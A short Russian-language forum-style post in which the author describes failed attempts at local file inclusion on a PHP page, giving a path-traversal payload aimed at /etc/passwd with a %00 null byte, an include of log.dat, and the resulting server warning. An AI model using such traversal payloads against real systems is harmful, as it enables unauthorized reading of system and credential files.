Пробовал локальный инклуд... и %00 не помогает
http://........./page.php?userdir=../../../../../../../../../../etc/passwd%00 - никак
даже там есть в папке скрипта файл, я его пытался заинклудить - никак...
page.php?userdir=log.dat%00
на что апач ответил:
Warning: main(log.dat index.html) [function.main]: failed to open stream: No such file or directory in /home/site.com/www/script/page.php on line 57